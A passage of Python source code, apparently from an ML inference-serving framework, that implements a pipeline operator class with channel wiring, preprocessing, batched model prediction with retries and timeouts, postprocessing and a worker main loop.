channels\n \"\"\"\n channels = []\n if self.is_jump_op() is False:\n return channels\n for op in self._jump_to_ops:\n _LOGGER.info(\"op:{} extend op._get_output_channels:{}\".format(\n op.name, op._get_output_channels()))\n channels.extend(op._get_output_channels())\n\n _LOGGER.info(\"get_output_channels_of_jump_ops, channels:{}\".format(\n channels))\n return channels\n\n def add_input_channel(self, channel):\n \"\"\"\n Adding one input channel to the Op. Each op have many front op,\n but, only one input channel.\n \"\"\"\n if not isinstance(channel, (ThreadChannel, ProcessChannel)):\n _LOGGER.critical(\n self._log(\"Failed to set input_channel: input \"\n \"channel must be Channel type, not {}\".format(\n type(channel))))\n os._exit(-1)\n channel.add_consumer(self.name)\n self._input = channel\n\n def clean_input_channel(self):\n self._input = None\n\n def _get_input_channel(self):\n return self._input\n\n def add_output_channel(self, channel):\n \"\"\"\n Adding one output channel to the Op. Each op have many output channels,\n But only one front channel.\n\n Args:\n channel: an output channel object.\n\n Returns:\n None\n \"\"\"\n if not isinstance(channel, (ThreadChannel, ProcessChannel)):\n _LOGGER.critical(\n self._log(\"Failed to add output_channel: output channel \"\n \"must be Channel type, not {}\".format(type(channel))))\n os._exit(-1)\n channel.add_producer(self.name)\n self._outputs.append(channel)\n _LOGGER.debug(\"op:{} add output_channel {}\".format(self.name, channel))\n\n def clean_output_channels(self):\n self._outputs = []\n\n def _get_output_channels(self):\n return self._outputs\n\n def preprocess(self, input_dicts, data_id=0, log_id=0):\n \"\"\"\n In preprocess stage, assembling data for process stage. users can \n override this function for model feed features.\n\n Args:\n input_dicts: input data to be preprocessed\n data_id: inner unique id, increase auto\n log_id: global unique id for RTT, 0 default\n\n Return:\n output_data: data for process stage\n is_skip_process: skip process stage or not, False default\n prod_errcode: None default, otherwise, product errores occured.\n It is handled in the same way as exception. \n prod_errinfo: \"\" default\n \"\"\"\n # multiple previous Op\n if len(input_dicts) != 1:\n _LOGGER.critical(\n self._log(\n \"Failed to run preprocess: this Op has multiple previous \"\n \"inputs. Please override this func.\"))\n os._exit(-1)\n\n (_, input_dict), = input_dicts.items()\n return input_dict, False, None, \"\"\n\n def process(self, feed_batch, typical_logid=0):\n \"\"\"\n In process stage, send requests to the inference server or predict locally.\n users do not need to inherit this function\n Args:\n feed_batch: data to be fed to inference server\n typical_logid: mark batch predicts, usually the first logid in batch,\n 0 default.\n\n Returns:\n call_result: predict result\n \"\"\"\n\n call_result = None\n err_code = ChannelDataErrcode.OK.value\n err_info = \"\"\n\n @ErrorCatch\n @ParamChecker\n def feed_fetch_list_check_helper(\n feed_batch: lambda feed_batch: check_feed_dict(feed_batch[0], self.right_feed_names),\n fetch_list: lambda fetch_list: check_fetch_list(fetch_list, self.right_fetch_names),\n log_id):\n return None\n\n _, resp = feed_fetch_list_check_helper(\n feed_batch, self._fetch_names, log_id=typical_logid)\n if resp.err_no != CustomExceptionCode.OK.value:\n err_code = resp.err_no\n err_info = resp.err_msg\n call_result = None\n return call_result, err_code, err_info\n\n if self.client_type == \"local_predictor\":\n err, err_info = ChannelData.check_batch_npdata(feed_batch)\n if err != 0:\n _LOGGER.error(\n self._log(\"Failed to run process: {}. feed_batch must be \\\n npdata in process for local_predictor mode.\"\n .format(err_info)))\n return call_result, ChannelDataErrcode.TYPE_ERROR.value, \"feed_batch must be npdata\"\n\n call_result = self.client.predict(\n feed=feed_batch[0],\n fetch=self._fetch_names,\n batch=True,\n log_id=typical_logid)\n\n elif self.client_type == \"brpc\":\n err, err_info = ChannelData.check_batch_npdata(feed_batch)\n if err != 0:\n _LOGGER.error(\n self._log(\"Failed to run process: {}. feed_batch must be \\\n npdata in process for brpc mode.\".format(err_info)))\n return call_result, ChannelDataErrcode.TYPE_ERROR.value, \"feed_batch must be npdata\"\n call_result = self.client.predict(\n feed=feed_batch[0],\n fetch=self._fetch_names,\n batch=True,\n log_id=typical_logid)\n\n elif self.client_type == \"pipeline_grpc\":\n err, err_info = ChannelData.check_dictdata(feed_batch)\n if err != 0:\n _LOGGER.error(\n self._log(\"Failed to run process: {}. feed_batch must be \\\n npdata in process for pipeline_grpc mode.\"\n .format(err_info)))\n return call_result, ChannelDataErrcode.TYPE_ERROR.value, \"feed_batch must be dict\"\n\n call_result = self.client.predict(\n feed_dict=feed_batch[0],\n fetch=self._fetch_names,\n asyn=False,\n pack_tensor_format=self._pack_tensor_format,\n profile=False)\n if call_result is None:\n _LOGGER.error(\n self._log(\"Failed in pipeline_grpc. call_result is None.\"))\n return call_result, ChannelDataErrcode.UNKNOW.value, \"pipeline_grpc error\"\n if call_result.err_no != 0:\n _LOGGER.error(\n self._log(\"Failed in pipeline_grpc. err_no:{}, err_info:{}\".\n format(call_result.err_no, call_result.err_msg)))\n return call_result, ChannelDataErrcode(\n call_result.err_no).value, call_result.err_msg\n\n new_dict = {}\n err_code = ChannelDataErrcode(call_result.err_no).value\n err_info = call_result.err_msg\n for idx, key in enumerate(call_result.key):\n new_dict[key] = [call_result.value[idx]]\n call_result = new_dict\n\n return call_result, err_code, err_info\n\n def postprocess(self, input_data, fetch_data, data_id=0, log_id=0):\n \"\"\"\n In postprocess stage, assemble data for next op or output.\n Args:\n input_data: data returned in preprocess stage, dict(for single predict) or list(for batch predict)\n fetch_data: data returned in process stage, dict(for single predict) or list(for batch predict)\n data_id: inner unique id, increase auto\n log_id: logid, 0 default\n\n Returns: \n fetch_dict: fetch result must be dict type.\n prod_errcode: None default, otherwise, product errores occured.\n It is handled in the same way as exception.\n prod_errinfo: \"\" default\n \"\"\"\n fetch_dict = {}\n if isinstance(fetch_data, dict):\n fetch_dict = fetch_data\n return fetch_dict, None, \"\"\n\n def _parse_channeldata(self, channeldata_dict):\n \"\"\"\n Parse one channeldata \n Args:\n channeldata_dict : channel data to be parsed, dict type\n \n Return:\n data_id: created by dag._id_generator, unique\n error_channeldata: error channeldata\n parsed_data: get np/dict data from channeldata\n client_need_profile: need profile info\n profile_set: profile info\n log_id: logid for tracing a request \n \"\"\"\n data_id, error_channeldata = None, None\n client_need_profile, profile_set = False, set()\n parsed_data = {}\n\n key = list(channeldata_dict.keys())[0]\n data_id = channeldata_dict[key].id\n log_id = channeldata_dict[key].log_id\n client_need_profile = channeldata_dict[key].client_need_profile\n\n for name, data in channeldata_dict.items():\n if data.error_code != ChannelDataErrcode.OK.value:\n error_channeldata = data\n break\n parsed_data[name] = data.parse()\n if client_need_profile:\n profile_set |= data.profile_data_set\n return (data_id, error_channeldata, parsed_data, client_need_profile,\n profile_set, log_id)\n\n def _push_to_output_channels(self,\n data,\n channels,\n name=None,\n profile_str=None,\n client_need_profile=False,\n profile_set=None):\n \"\"\"\n Push data to output channels, Do not run the later stage(preprocess,\n process, postprocess)\n Args:\n data: channeldata, to be pushed\n channels: output channels\n name: op name \n profile_str: one profile message\n client_need_profile: False default\n profile_set: profile message collections\n\n Returns:\n None\n \"\"\"\n if name is None:\n name = self.name\n\n # add profile into channeldata\n if client_need_profile and profile_set is not None:\n if profile_str is not None:\n profile_set.add(profile_str)\n data.add_profile(profile_set)\n\n for channel in channels:\n channel.push(data, name)\n\n def start_with_process(self):\n \"\"\"\n Each OP creates a process to run the main loop, initializes the CUDA\n environment in each individual process.\n\n Args:\n None\n\n Returns:\n process array\n \"\"\"\n trace_buffer = None\n if self._tracer is not None:\n trace_buffer = self._tracer.data_buffer()\n process = []\n for concurrency_idx in range(self.concurrency):\n p = multiprocessing.Process(\n target=self._run,\n args=(concurrency_idx, self._get_input_channel(),\n self._get_output_channels(), False, trace_buffer,\n self.model_config, self.workdir, self.thread_num,\n self.device_type, self.devices, self.mem_optim,\n self.ir_optim, self.precision, self.use_mkldnn,\n self.mkldnn_cache_capacity, self.mkldnn_op_list,\n self.mkldnn_bf16_op_list, self.is_jump_op(),\n self.get_output_channels_of_jump_ops(),\n self.min_subgraph_size, self.dynamic_shape_info,\n self.use_calib))\n p.daemon = True\n p.start()\n process.append(p)\n return process\n\n def start_with_thread(self):\n \"\"\"\n Each OP creates a thread to run the main loop, initializes the CUDA \n environment in the main thread.\n\n Args:\n None\n \n Returns:\n thread array\n \"\"\"\n trace_buffer = None\n if self._tracer is not None:\n trace_buffer = self._tracer.data_buffer()\n\n #Init cuda env in main thread\n if self.client_type == \"local_predictor\":\n _LOGGER.info(\"Init cuda env in main thread\")\n self.local_predictor = self._local_service_handler.get_client(0)\n\n threads = []\n for concurrency_idx in range(self.concurrency):\n t = threading.Thread(\n target=self._run,\n args=(concurrency_idx, self._get_input_channel(),\n self._get_output_channels(), True, trace_buffer,\n self.model_config, self.workdir, self.thread_num,\n self.device_type, self.devices, self.mem_optim,\n self.ir_optim, self.precision, self.use_mkldnn,\n self.mkldnn_cache_capacity, self.mkldnn_op_list,\n self.mkldnn_bf16_op_list, self.is_jump_op(),\n self.get_output_channels_of_jump_ops(),\n self.min_subgraph_size, self.dynamic_shape_info,\n self.use_calib))\n # When a process exits, it attempts to terminate\n # all of its daemonic child processes.\n t.daemon = True\n t.start()\n threads.append(t)\n return threads\n\n def init_op(self):\n pass\n\n def _run_preprocess(self, parsed_data_dict, op_info_prefix, logid_dict):\n \"\"\"\n Run preprocess stage\n Args:\n parsed_data_dict: data to be pre-processed\n op_info_prefix: input op info\n logid_dict: logid dict\n\n Returns:\n preped_data_dict: data preprocessed, to be processed \n err_channeldata_dict: when exceptions occurred, putting errors in it.\n skip_process_dict: skip process stage or not\n\n \"\"\"\n _LOGGER.debug(\"{} Running preprocess\".format(op_info_prefix))\n preped_data_dict = collections.OrderedDict()\n err_channeldata_dict = collections.OrderedDict()\n skip_process_dict = {}\n\n @ErrorCatch\n def preprocess_help(self, parsed_data, data_id, logid_dict):\n preped_data, is_skip_process, prod_errcode, prod_errinfo = self.preprocess(\n parsed_data, data_id, logid_dict.get(data_id))\n return preped_data, is_skip_process, prod_errcode, prod_errinfo\n\n for data_id, parsed_data in parsed_data_dict.items():\n preped_data, error_channeldata = None, None\n is_skip_process = False\n prod_errcode, prod_errinfo = None, None\n log_id = logid_dict.get(data_id)\n process_res, resp = preprocess_help(\n self, parsed_data, data_id=data_id, logid_dict=logid_dict)\n if resp.err_no == CustomExceptionCode.OK.value:\n preped_data, is_skip_process, prod_errcode, prod_errinfo = process_res\n if is_skip_process is True:\n skip_process_dict[data_id] = True\n if prod_errcode is not None:\n _LOGGER.error(\n \"data_id: {} return product error. Product ErrNo:{}, Product ErrMsg: {}\".\n format(data_id, prod_errcode, prod_errinfo))\n error_channeldata = ChannelData(\n error_code=ChannelDataErrcode.PRODUCT_ERROR.value,\n error_info=\"\",\n prod_error_code=prod_errcode,\n prod_error_info=prod_errinfo,\n data_id=data_id,\n log_id=log_id)\n else:\n\n error_channeldata = ChannelData(\n error_code=resp.err_no,\n error_info=resp.err_msg,\n data_id=data_id,\n log_id=log_id)\n skip_process_dict[data_id] = True\n\n if error_channeldata is not None:\n err_channeldata_dict[data_id] = error_channeldata\n else:\n preped_data_dict[data_id] = preped_data\n _LOGGER.debug(\"{} Succ preprocess\".format(op_info_prefix))\n return preped_data_dict, err_channeldata_dict, skip_process_dict\n\n def _run_process(self, preped_data_dict, op_info_prefix, skip_process_dict,\n logid_dict):\n \"\"\"\n Run process stage\n Args:\n preped_data_dict: feed the data to be predicted by the model. \n op_info_prefix: prefix op info\n skip_process_dict: skip process stage or not\n logid_dict: logid dict\n\n Returns:\n midped_data_dict: data midprocessed, to be post-processed \n err_channeldata_dict: when exceptions occurred, putting errors in it \n \"\"\"\n _LOGGER.debug(\"{} Running process\".format(op_info_prefix))\n midped_data_dict = collections.OrderedDict()\n err_channeldata_dict = collections.OrderedDict()\n is_skip_process = False\n data_ids = list(preped_data_dict.keys())\n\n # skip process stage\n if len(data_ids) == 1 and skip_process_dict.get(data_ids[0]) == True:\n is_skip_process = True\n if self.with_serving is False or is_skip_process is True:\n midped_data_dict = preped_data_dict\n _LOGGER.warning(\"(data_id={} log_id={}) OP={} skip process stage. \" \\\n \"with_serving={}, is_skip_process={}\".format(data_ids[0],\n logid_dict.get(data_ids[0]), self.name, self.with_serving,\n is_skip_process))\n return midped_data_dict, err_channeldata_dict\n\n # use typical_logid to mark batch data\n # data_ids is one self-increasing unique key. \n typical_logid = data_ids[0]\n if len(data_ids) != 1:\n for data_id in data_ids:\n _LOGGER.info(\n \"(data_id={} logid={}) Auto-batching is On Op={}!!\" \\\n \"We selected logid={} (from batch: {}) as a \" \\\n \"representative for logging.\".format(\n data_id, logid_dict.get(data_id), self.name,\n typical_logid, data_ids))\n\n one_input = preped_data_dict[data_ids[0]]\n feed_batch = []\n feed_dict = {}\n cur_offset = 0\n input_offset_dict = {}\n batch_input = False\n\n if isinstance(one_input, dict):\n # For dict type, data structure is dict.\n # Merge multiple dicts for data_ids into one dict.\n # feed_batch is the input param of predict func.\n # input_offset_dict is used for data restration[data_ids]\n if len(data_ids) == 1:\n feed_batch = [preped_data_dict[data_id] for data_id in data_ids]\n else:\n for data_id in data_ids:\n for key, val in preped_data_dict[data_id].items():\n has_val = feed_dict.get(key)\n if has_val is None:\n feed_dict[key] = val\n continue\n # merge 2 np.arrray\n if isinstance(val, np.ndarray):\n feed_dict[key] = np.append(\n feed_dict[key], val, axis=0)\n feed_batch.append(feed_dict)\n\n for data_id in data_ids:\n start = cur_offset\n for key, val in preped_data_dict[data_id].items():\n if isinstance(val, (list, np.ndarray)):\n cur_offset += len(val)\n else:\n cur_offset += 1\n break\n input_offset_dict[data_id] = [start, cur_offset]\n elif isinstance(one_input, list):\n # For list type, data structure of one_input is [dict, dict, ...]\n # Data structure of feed_batch is [dict1_1, dict1_2, dict2_1, ...] \n # Data structure of input_offset_dict is { data_id : [start, end] }\n batch_input = True\n for data_id in data_ids:\n feed_batch.extend(preped_data_dict[data_id])\n data_size = len(preped_data_dict[data_id])\n start = cur_offset\n cur_offset = start + data_size\n input_offset_dict[data_id] = [start, cur_offset]\n else:\n _LOGGER.critical(\n \"(data_id={} log_id={}){} Failed to process: expect input type is dict\"\n \" or list(batch input), but get {}\".format(data_ids[\n 0], typical_logid, op_info_prefix, type(one_input)))\n for data_id in data_ids:\n error_code = ChannelDataErrcode.TYPE_ERROR.value\n error_info = \"expect input type is dict or list, but get {}\".format(\n type(one_input))\n err_channeldata_dict[data_id] = ChannelData(\n error_code=error_code,\n error_info=error_info,\n data_id=data_id,\n log_id=logid_dict.get(data_id))\n return midped_data_dict, err_channeldata_dict\n\n midped_batch = None\n error_code = ChannelDataErrcode.OK.value\n error_info = \"\"\n if self._timeout <= 0:\n # No retry\n try:\n if batch_input is False:\n midped_batch, error_code, error_info = self.process(\n feed_batch, typical_logid)\n else:\n midped_batch = []\n for idx in range(len(feed_batch)):\n predict_res, error_code, error_info = self.process(\n [feed_batch[idx]], typical_logid)\n if error_code != ChannelDataErrcode.OK.value:\n break\n midped_batch.append(predict_res)\n except Exception as e:\n error_code = ChannelDataErrcode.UNKNOW.value\n error_info = \"(data_id={} log_id={}) {} Failed to process(batch: {}): {}\".format(\n data_ids[0], typical_logid, op_info_prefix, data_ids, e)\n _LOGGER.error(error_info, exc_info=True)\n else:\n # retry N times configed in yaml files.\n for i in range(self._retry):\n try:\n # time out for each process\n if batch_input is False:\n midped_batch, error_code, error_info = func_timeout.func_timeout(\n self._timeout,\n self.process,\n args=(feed_batch, typical_logid))\n else:\n midped_batch = []\n for idx in range(len(feed_batch)):\n predict_res, error_code, error_info = func_timeout.func_timeout(\n self._timeout,\n self.process,\n args=([feed_batch[idx]], typical_logid))\n midped_batch[idx].append(predict_res)\n\n except func_timeout.FunctionTimedOut as e:\n if i + 1 >= self._retry:\n error_code = ChannelDataErrcode.TIMEOUT.value\n error_info = \"(log_id={}) {} Failed to process(batch: {}): \" \\\n \"exceeded retry count.\".format(typical_logid, op_info_prefix, data_ids)\n _LOGGER.error(error_info)\n else:\n _LOGGER.warning(\n \"(log_id={}) {} Failed to process(batch: {}): timeout,\"\n \" and retrying({}/{})...\".format(\n typical_logid, op_info_prefix, data_ids, i + 1,\n self._retry))\n except Exception as e:\n error_code = ChannelDataErrcode.UNKNOW.value\n error_info = \"(log_id={}) {} Failed to process(batch: {}): {}\".format(\n typical_logid, op_info_prefix, data_ids, e)\n _LOGGER.error(error_info, exc_info=True)\n break\n else:\n break\n\n # 2 kinds of errors\n if error_code != ChannelDataErrcode.OK.value or midped_batch is None:\n error_info = \"[{}] failed to predict. {}. Please check the input dict and checkout PipelineServingLogs/pipeline.log for more details.\".format(\n self.name, error_info)\n\n _LOGGER.error(error_info)\n for data_id in data_ids:\n err_channeldata_dict[data_id] = ChannelData(\n error_code=error_code,\n error_info=error_info,\n data_id=data_id,\n log_id=logid_dict.get(data_id))\n return midped_data_dict, err_channeldata_dict\n\n # Split batch infer result to each data_ids\n if batch_input is False:\n var_names = midped_batch.keys()\n lod_var_names = set()\n lod_offset_names = set()\n # midped_batch is dict type for single input \n for name in var_names:\n lod_offset_name = \"{}.lod\".format(name)\n if lod_offset_name in var_names:\n _LOGGER.debug(\"(log_id={}) {} {} is LodTensor\".format(\n typical_logid, op_info_prefix, name))\n lod_var_names.add(name)\n lod_offset_names.add(lod_offset_name)\n\n for idx, data_id in enumerate(data_ids):\n midped_data_dict[data_id] = {}\n\n for name, value in midped_batch.items():\n if name in lod_offset_names:\n continue\n if name in lod_var_names:\n # lodtensor\n lod_offset_name = \"{}.lod\".format(name)\n lod_offset = midped_batch[lod_offset_name]\n for idx, data_id in enumerate(data_ids):\n data_offset_left = input_offset_dict[data_id][0]\n data_offset_right = input_offset_dict[data_id][1]\n lod_offset_left = lod_offset[data_offset_left]\n lod_offset_right = lod_offset[data_offset_right]\n midped_data_dict[data_id][name] = value[\n lod_offset_left:lod_offset_right]\n midped_data_dict[data_id][lod_offset_name] = \\\n lod_offset[data_offset_left:data_offset_right + 1] - lod_offset[data_offset_left]\n else:\n # normal tensor\n for idx, data_id in enumerate(data_ids):\n start = input_offset_dict[data_id][0]\n end = input_offset_dict[data_id][1]\n midped_data_dict[data_id][name] = value[start:end]\n else:\n # midped_batch is list type for batch input\n for idx, data_id in enumerate(data_ids):\n start = input_offset_dict[data_id][0]\n end = input_offset_dict[data_id][1]\n midped_data_dict[data_id] = midped_batch[start:end]\n return midped_data_dict, err_channeldata_dict\n\n def _run_postprocess(self, parsed_data_dict, midped_data_dict,\n op_info_prefix, logid_dict):\n \"\"\"\n Run postprocess stage.\n Args:\n parsed_data_dict: data returned in preprocess stage \n midped_data_dict: data returned in process stage\n op_info_prefix: prefix op info\n logid_dict: logid dict\n\n Returns:\n postped_data_dict: data postprocessed \n err_channeldata_dict: when exceptions occurred, putting errors in it\n \n \"\"\"\n _LOGGER.debug(\"{} Running postprocess\".format(op_info_prefix))\n postped_data_dict = collections.OrderedDict()\n err_channeldata_dict = collections.OrderedDict()\n\n @ErrorCatch\n def postprocess_help(self, parsed_data_dict, midped_data, data_id,\n logid_dict):\n postped_data, prod_errcode, prod_errinfo = self.postprocess(\n parsed_data_dict[data_id], midped_data, data_id,\n logid_dict.get(data_id))\n if not isinstance(postped_data, dict):\n raise CustomException(CustomExceptionCode.TYPE_ERROR,\n \"postprocess should return dict\", True)\n return postped_data, prod_errcode, prod_errinfo\n\n for data_id, midped_data in midped_data_dict.items():\n log_id = logid_dict.get(data_id)\n postped_data, err_channeldata = None, None\n prod_errcode, prod_errinfo = None, None\n\n post_res, resp = postprocess_help(\n self,\n parsed_data_dict,\n midped_data,\n data_id=data_id,\n logid_dict=logid_dict)\n if resp.err_no == CustomExceptionCode.OK.value:\n postped_data, prod_errcode, prod_errinfo = post_res\n if prod_errcode is not None:\n # product errors occured\n err_channeldata = ChannelData(\n error_code=ChannelDataErrcode.PRODUCT_ERROR.value,\n error_info=\"\",\n prod_error_code=prod_errcode,\n prod_error_info=prod_errinfo,\n data_id=data_id,\n log_id=log_id)\n else:\n err_channeldata = ChannelData(\n error_code=resp.err_no,\n error_info=resp.err_msg,\n data_id=data_id,\n log_id=log_id)\n\n if err_channeldata is not None:\n err_channeldata_dict[data_id] = err_channeldata\n continue\n\n output_data = None\n err, _ = ChannelData.check_npdata(postped_data)\n if err == 0:\n output_data = ChannelData(\n ChannelDataType.CHANNEL_NPDATA.value,\n npdata=postped_data,\n data_id=data_id,\n log_id=log_id)\n else:\n output_data = ChannelData(\n ChannelDataType.DICT.value,\n dictdata=postped_data,\n data_id=data_id,\n log_id=log_id)\n postped_data_dict[data_id] = output_data\n _LOGGER.debug(\"{} Succ postprocess\".format(op_info_prefix))\n return postped_data_dict, err_channeldata_dict\n\n def _auto_batching_generator(self, input_channel, op_name, batch_size,\n timeout, op_info_prefix):\n \"\"\"\n Merge batch_size requests for one prediction.Taking one piece of data \n from the input channel each time until equals batch_size, or the waiting \n time exceeds auto_batching_timeout.\n\n Args:\n input_channel: the input channel of Op\n op_name: op name\n batch_size: batch size, Less than worker_num\n timeout: batch timeout, seconds, If timeout is None, and the quantity \n taken from the front is less than batch_size, blocking occured.\n op_info_prefix: op link info.\n\n Returns:\n None\n \"\"\"\n while True:\n batch = []\n while len(batch) == 0:\n endtime = None\n if timeout is not None:\n endtime = _time() + timeout\n for idx in range(batch_size):\n try:\n channeldata_dict = None\n front_start_time = int(round(_time() * 1000000))\n if timeout is not None:\n remaining = endtime - _time()\n if remaining <= 0.0:\n _LOGGER.debug(\"{} Failed to generate batch: \"\n \"timeout\".format(op_info_prefix))\n break\n channeldata_dict = input_channel.front(op_name,\n timeout)\n else:\n channeldata_dict = input_channel.front(op_name)\n batch.append(channeldata_dict)\n _LOGGER.debug(\n \"_auto_batching_generator get {} channeldata from op:{} input channel. time={}\".\n format(idx, op_name, front_start_time))\n except ChannelTimeoutError:\n _LOGGER.debug(\"{} Failed to generate batch: \"\n \"timeout\".format(op_info_prefix))\n break\n _LOGGER.debug(\"{} Got actual batch_size: {}\".format(op_info_prefix,\n len(batch)))\n yield batch\n\n def _parse_channeldata_batch(self, batch, output_channels):\n \"\"\"\n Parse channeldatas batch\n Args:\n batch: auto-batching batch datas\n output_channels: output channels \n\n Returns:\n parsed_data_dict: parsed from channeldata in batch\n need_profile_dict: need profile dict in batch \n profile_dict: profile info dict in batch\n logid_dict: trace each request in batch\n \"\"\"\n parsed_data_dict = collections.OrderedDict()\n need_profile_dict = {}\n profile_dict = {}\n logid_dict = {}\n for channeldata_dict in batch:\n (data_id, error_channeldata, parsed_data,\n client_need_profile, profile_set, log_id) = \\\n self._parse_channeldata(channeldata_dict)\n if error_channeldata is None:\n parsed_data_dict[data_id] = parsed_data\n need_profile_dict[data_id] = client_need_profile\n profile_dict[data_id] = profile_set\n logid_dict[data_id] = log_id\n else:\n # error data in predecessor Op\n # (error_channeldata with profile info)\n self._push_to_output_channels(error_channeldata,\n output_channels)\n\n return parsed_data_dict, need_profile_dict, profile_dict, logid_dict\n\n def _run(self, concurrency_idx, input_channel, output_channels,\n is_thread_op, trace_buffer, model_config, workdir, thread_num,\n device_type, devices, mem_optim, ir_optim, precision, use_mkldnn,\n mkldnn_cache_capacity, mkldnn_op_list, mkldnn_bf16_op_list,\n is_jump_op, output_channels_of_jump_ops, min_subgraph_size,\n dynamic_shape_info, use_calib):\n \"\"\"\n _run() is the entry function of OP process / thread model.When client \n type is local_predictor in process mode, the CUDA environment needs to \n be initialized by LocalServiceHandler[child process], otherwise, Cuda\n error(3), initialization error is occured. Preprocess, process and \n postprocess are executed in the main loop. The preprocess and postprocess\n function is usually rewrited by users. Trace data is recorded by trace_que.\n\n Args:\n concurrency_idx: thread/process index\n input_channel: input channel, take the data to be processed\n output_channels: output channel, store processed data\n is_thread_op: False, It's process op; True, It's thread op\n trace_buffer: store trace infomations\n model_config: model config path\n workdir: work directory\n thread_num: number of threads, concurrent quantity\n device_type: support multiple devices\n devices: gpu id list[gpu], \"\" default[cpu]\n mem_optim: use memory/graphics memory optimization, True default.\n ir_optim: use calculation chart optimization, False default.\n precision: inference precision, e.g. \"fp32\", \"fp16\", \"int8\", \"bf16\"\n use_mkldnn: use mkldnn, default False.\n mkldnn_cache_capacity: cache capacity of mkldnn, 0 means no limit.\n mkldnn_op_list: OP list optimized by mkldnn, None default.\n mkldnn_bf16_op_list: OP list optimized by mkldnn bf16, None default.\n is_jump_op: OP has jump op list or not, False default.\n output_channels_of_jump_ops: all output channels of jump ops.\n use_calib: use calib mode of paddle inference, False default.\n\n Returns:\n None\n \"\"\"\n op_info_prefix = \"[{}|{}]\".format(self.name, concurrency_idx)\n\n # init ops\n profiler = None\n\n @ErrorCatch\n def check_helper(self, is_thread_op, model_config, workdir, thread_num,\n device_type, devices, mem_optim, ir_optim, precision,\n use_mkldnn, mkldnn_cache_capacity, mkldnn_op_list,\n mkldnn_bf16_op_list, min_subgraph_size,\n dynamic_shape_info):\n\n if is_thread_op == False and self.client_type == \"local_predictor\":\n self.service_handler = local_service_handler.LocalServiceHandler(\n model_config=model_config,\n client_type=\"local_predictor\",\n workdir=workdir,\n thread_num=thread_num,\n device_type=device_type,\n devices=devices,\n mem_optim=mem_optim,\n ir_optim=ir_optim,\n precision=precision,\n use_mkldnn=use_mkldnn,\n mkldnn_cache_capacity=mkldnn_cache_capacity,\n mkldnn_op_list=mkldnn_op_list,\n mkldnn_bf16_op_list=mkldnn_bf16_op_list,\n min_subgraph_size=min_subgraph_size,\n dynamic_shape_info=dynamic_shape_info,\n use_calib=use_calib)\n\n _LOGGER.info(\"Init cuda env in process {}\".format(\n concurrency_idx))\n self.local_predictor = self.service_handler.get_client(\n concurrency_idx)\n # check all ops initialized successfully.\n profiler = self._initialize(is_thread_op, concurrency_idx)\n return profiler\n\n profiler, resp = check_helper(\n self, is_thread_op, model_config, workdir, thread_num, device_type,\n devices, mem_optim, ir_optim, precision, use_mkldnn,\n mkldnn_cache_capacity, mkldnn_op_list, mkldnn_bf16_op_list,\n min_subgraph_size, dynamic_shape_info)\n\n if resp.err_no != CustomExceptionCode.OK.value:\n _LOGGER.critical(\n \"{} failed to init op: {}\".format(op_info_prefix, resp.err_msg),\n exc_info=False)\n\n print(\"{} failed to init op: {}\".format(op_info_prefix,\n resp.err_msg))\n kill_stop_process_by_pid(\"kill\", os.getpgid(os.getpid()))\n\n _LOGGER.info(\"{} Succ init\".format(op_info_prefix))\n\n batch_generator = self._auto_batching_generator(\n input_channel=input_channel,\n op_name=self.name,\n batch_size=self._batch_size,\n timeout=self._auto_batching_timeout,\n op_info_prefix=op_info_prefix)\n\n start, end = None, None\n trace_que = collections.deque()\n while True:\n start = int(round(_time() * 1000000))\n try:\n channeldata_dict_batch = next(batch_generator)\n except ChannelStopError:\n _LOGGER.debug(\"{} Stop.\".format(op_info_prefix))\n self._finalize(is_thread_op)\n break\n end = int(round(_time() * 1000000))\n in_time = end - start\n _LOGGER.debug(\"op:{} in_time_end:{}\".format(op_info_prefix,\n time.time()))\n\n # parse channeldata batch\n try:\n parsed_data_dict, need_profile_dict, profile_dict, logid_dict\\\n = self._parse_channeldata_batch(\n channeldata_dict_batch, output_channels)\n except ChannelStopError:\n _LOGGER.debug(\"{} Stop.\".format(op_info_prefix))\n self._finalize(is_thread_op)\n break\n if len(parsed_data_dict) == 0:\n # data in the whole batch is all error data\n continue\n _LOGGER.debug(\"op:{} parse_end:{}\".format(op_info_prefix,\n time.time()))\n\n front_cost = int(round(_time() * 1000000)) - start\n for data_id, parsed_data in parsed_data_dict.items():\n _LOGGER.debug(\n \"(data_id={}) POP INPUT CHANNEL! op:{}, cost:{} ms\".format(\n data_id, self.name, front_cost / 1000.0))\n\n # preprecess\n start = profiler.record(\"prep#{}_0\".format(op_info_prefix))\n preped_data_dict, err_channeldata_dict, skip_process_dict \\\n = self._run_preprocess(parsed_data_dict, op_info_prefix, logid_dict)\n end = profiler.record(\"prep#{}_1\".format(op_info_prefix))\n prep_time = end - start\n _LOGGER.debug(\"op:{} preprocess_end:{}, cost:{}\".format(\n op_info_prefix, time.time(), prep_time))\n try:\n # put error requests into output channel, skip process and postprocess stage\n for data_id, err_channeldata in err_channeldata_dict.items():\n self._push_to_output_channels(\n data=err_channeldata,\n channels=output_channels,\n client_need_profile=need_profile_dict[data_id],\n profile_set=profile_dict[data_id])\n except ChannelStopError:\n _LOGGER.debug(\"{} Stop.\".format(op_info_prefix))\n self._finalize(is_thread_op)\n break\n if len(preped_data_dict) == 0:\n continue\n\n # process\n start = profiler.record(\"midp#{}_0\".format(op_info_prefix))\n midped_data_dict, err_channeldata_dict \\\n = self._run_process(preped_data_dict, op_info_prefix, skip_process_dict, logid_dict)\n end = profiler.record(\"midp#{}_1\".format(op_info_prefix))\n _LOGGER.info(\"prometheus inf count +1\")\n midp_time = end - start\n _LOGGER.debug(\"op:{} process_end:{}, cost:{}\".format(\n op_info_prefix, time.time(), midp_time))\n try:\n for data_id, err_channeldata in err_channeldata_dict.items():\n self._push_to_output_channels(\n data=err_channeldata,\n channels=output_channels,\n client_need_profile=need_profile_dict[data_id],\n profile_set=profile_dict[data_id])\n except ChannelStopError:\n _LOGGER.debug(\"{} Stop.\".format(op_info_prefix))\n self._finalize(is_thread_op)\n break\n if len(midped_data_dict) == 0:\n continue\n\n # postprocess\n start = profiler.record(\"postp#{}_0\".format(op_info_prefix))\n postped_data_dict, err_channeldata_dict \\\n = self._run_postprocess(parsed_data_dict, midped_data_dict, op_info_prefix, logid_dict)\n end = profiler.record(\"postp#{}_1\".format(op_info_prefix))\n postp_time = end - start\n after_postp_time = _time()\n _LOGGER.debug(\"op:{} postprocess_end:{}, cost:{}\".format(\n op_info_prefix, time.time(), postp_time))\n try:\n for data_id, err_channeldata in err_channeldata_dict.items():\n self._push_to_output_channels(\n data=err_channeldata,\n channels=output_channels,\n client_need_profile=need_profile_dict[data_id],\n profile_set=profile_dict[data_id])\n except ChannelStopError:\n 